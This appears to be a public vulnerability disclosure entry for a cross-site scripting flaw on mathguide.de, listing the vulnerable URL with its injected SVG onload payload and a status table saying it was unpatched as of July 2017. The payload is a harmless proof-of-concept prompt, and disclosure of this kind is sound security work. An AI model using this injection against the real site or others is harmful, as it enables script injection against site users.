mathguide.de XSS vulnerability

Vulnerable URL: http://www.mathguide.de/cgi-bin/ssgfi/anzeige.pl?db=math=%22%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1741316 VIP...